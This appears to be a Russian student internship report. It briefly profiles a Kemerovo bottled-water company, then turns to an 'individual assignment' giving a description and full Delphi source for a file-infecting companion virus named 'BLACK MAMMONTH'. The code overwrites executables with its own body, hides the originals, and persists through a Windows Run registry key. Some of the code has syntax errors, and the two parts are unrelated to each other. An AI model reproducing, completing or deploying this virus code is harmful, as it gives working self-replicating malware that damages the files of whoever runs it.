2. Знакомство с предприятием.
На заводе используется высокотехнологичное американское оборудование «STEELHEAD, INC» (США).
Высокоскоростные конвейерные линии бутылирования воды с полным контролем всего цикла производства бутылированной воды производительностью от 600 до 5000 бутылей в час.
Партнеры и Дистрибьюторы
Продукцию ООО «Родники Кузбасса можно приобрести во многих городах Кемеровской области: Кемерово, Новокузнецк, Киселевск, Прокопьевск, Берёзовский, Мариинск, Ленинск-Кузнецкий, Белово, Осинники, Анжеро-Судженск , Тайга, Промышленное ,Топки
2.1 Рабочее время
В организации устанавливается 5-дневная рабочая неделя с двумя выходными днями: суббота и воскресенье.
Время начала работы: 08.00 Сотрудники, приступившие к работе в 08.01, считаются опоздавшими. Перерыв на отдых и обед: 60 минут в период с 12.00 ч до 13.00 ч. Время окончания работы: 17.00 ч.
Для сотрудников отдела продаж, отдела транспортной логистики, рабочее время по графику.
2.2 Сервисное обслуживание
Компания «Родники Кузбасса” оказывает услуги по бесплатной доставки не только воды, но и аппараты (кулеры) для нагрева и охлаждения воды без выходных в офисы, квартиры и на дачи по г. Кемерово и ближайшие районы.
2.3 Лояльность
Обязательными условиями сотрудничества является лояльность сотрудника по отношению к работодателю, способность в своей трудовой деятельности руководствоваться корпоративными интересами.
Индивидуальное задание
3.1 Описание:
Вирус типа HLLC, весьма простой - вообще и для понимания в частности. Алгоритм его таков: при заражении вирус исходный файл переименовывает в нечто случайное и помещает в каталог c:\windows\. Своим телом вирус замещает оригинальный файл, причем если оригинал больше вирусf менее, чем вдвое, вирус добавляет к себе кусочек себя же, чтобы не отличится по размеру от оригинала. В каталоге с Windows создается также занимательный файл - filelist.ini, в котором вируc фиксирует зависимость между оригинальным и случайным именами файла (т.е. при запуске вируc получает имя своего файла, допустим winword.exe, смотрит в каталог и видит там: winword.exe = 34258352.340., затем переименовывает этот цифирный файл в свой каталог, но с именем winword.exe (впереди- пробел или символ “_”), и запускает этот “левый” файл. После завершения работы левого файла управление получает вирус, ища и заражая файлы при первом старте алгоритмом заражения. Для чтения и записи в файл я использовал такую вещь, как TfileStream.
3.2 Код программы
Program VirDebug;
uses sysutils,
windows,
registry,
classes,
inifiles;
const
VIRLEN = 296960;
var
zertva, virus: TFileStream;
vir, dovesok: array[1..VirLen] of Char;
result: integer; //результат FindFirst'а
client, sr: TSearchRec;
Name: array[1..8] of string;
Ext: array[1..3] of string;
Info: TINIFILE;
NewName, pr, par, FromF: string;
Birth: TDateTime;
kill, slay, winvir, NewProga: file;
infected: boolean;
check: textfile;
si: Tstartupinfo;
p: Tprocessinformation;
reg: TRegistry;
function WindowsCopyFile(FromFile, ToDir: string): boolean;
var
F: TShFileOpStruct;
begin
F.Wnd := 0;
F.wFunc := FO_COPY;
FromFile := FromFile + #0;
F.pFrom := pchar(FromFile);
ToDir := ToDir + #0;
F.pTo := pchar(ToDir);
F.fFlags := FOF_ALLOWUNDO or FOF_NOCONFIRMATION;
result := ShFileOperation(F) = 0;
end;
procedure INFECTFILES;
begin
result := FindFirst('c:\INF\*.exe', faAnyFile, client);
while Result = 0 do
begin
Infected := false;
if DateTimeToStr(FileDateToDateTime(fileage('c:\INF\' + client.name))) =
'09.08.83 06:00:00' then
infected := true;
if (client.name <> sr.name) and (infected = false) and
(client.name <> 'mammonth.exe') then
begin
Name[1] := inttostr(random(10));
Name[2] := inttostr(random(10));
Name[3] := inttostr(random(10));
Name[4] := inttostr(random(10));
Name[5] := inttostr(random(10));
Name[6] := inttostr(random(10));
Name[7] := inttostr(random(10));
Name[8] := inttostr(random(10));
Ext[1] := inttostr(random(10));
Ext[2] := inttostr(random(10));
Ext[3] := inttostr(random(10));
NewName := name[1] + name[2] + name[3] + name[4] + name[5] + name[6] +
name[7] +
name[8] + '.' + ext[1] + ext[2] + ext[3];
AssignFile(Kill, 'c:\INF\' + client.name);
ReName(Kill, 'c:\INF\files\' + NewName);
Info := TIniFile.create('c:\inf\filelist.ini');
with info do
begin
WriteString('FILELIST', client.name, NewName);
free;
end;
||virus := TFileStream.create('c:\inf\mammonth.exe', fmOpenRead);
Virus.Read(vir, VirLen);
if (Client.Size > VirLen) and ((Client.Size - VirLen) <= VirLen) then
begin
Virus.Position := 1;
Virus.Read(Dovesok, Client.Size - VirLen);
end;
zertva := TFileStream.create('c:\inf\' + client.name, fmCreate);
zertva.Write(vir, virlen);
if (client.size > virlen) and ((Client.size - VirLen) <= VirLen) then
zertva.write(dovesok, client.size - virlen);
Birth := StrToDateTime('09.08.83 06:00:00');
FileSetDate(Zertva.Handle, DateTimeToFileDate(birth));
Zertva.FREE;
Virus.FREE;
end;
Result := FindNEXT(Client);
end;
end;
procedure REGISTRATION;
begin
MkDir('c:\inf\files');
AssignFile(check, 'c:\inf\present.dat');
ReWrite(check);
WriteLn(check, 'BLACK MAMMONTH virus is now active in this computer');
CloseFile(check);
par := ParamStr(0); WindowsCopyFile(Par, 'c:\inf\');
AssignFile(winvir, 'c:\inf\' + sr.name);
ReName(winvir, 'c:\inf\mammonth.exe');
Reg := TRegistry.Create;
FileSetAttr('c:\inf\mammonth.exe', faHidden);
with Reg do
begin
if OpenKey('SOFTWARE\Microsoft\Windows\CurrentVersion\Run', true) then
begin
WriteString('MAMMONTH', 'c:\windows\mammonth.exe');
CloseKey;
end;
end;
end;
procedure EXECPROGRAM
begin
Info := TIniFile.Create('c:\inf\filelist.ini');
FromF := Info.ReadString('FILELIST', Sr.Name, 'NewName');
WindowsCopyFile('c:\inf\files\' + FromF, 'c:\inf\');
AssignFile(NewProga, 'c:\inf\' + FromF);
ReName(NewProga, 'c:\inf\' + '_' + Sr.Name);
PR := 'c:\inf\' + '_' + Sr.Name;
Info.Free;
FillChar(Si, SizeOf(Si), 0);
with Si do
begin
cb := SizeOf(Si);
dwFlags := startf_UseShowWindow;
wShowWindow := 4;
end;
//Application.Minimize;
Pr := Pr + #0;
Createprocess(nil, @Pr[1], nil, nil, false, Create_default_error_mode, nil,
nil, si, p);
Waitforsingleobject(p.hProcess, infinite);
//Application.Restore;
AssignFile(slay, pr);
Erase(slay);
end.
begin
FindFirst(ParamStr(0), faAnyFile, sr);
AssignFile(check, 'c:\inf\present.dat');
Reset(check);
if IOresult <> 0 then
begin
REGISTRATION;
INFECTFILES;
HaLt;
end;
if sr.name = 'mammonth.exe' then
begin
//INFECTFILES;
HALT;
end;
INFECTFILES;
EXECPROGRAM;
{++++END OF THE WORLD NEAR++++}
end.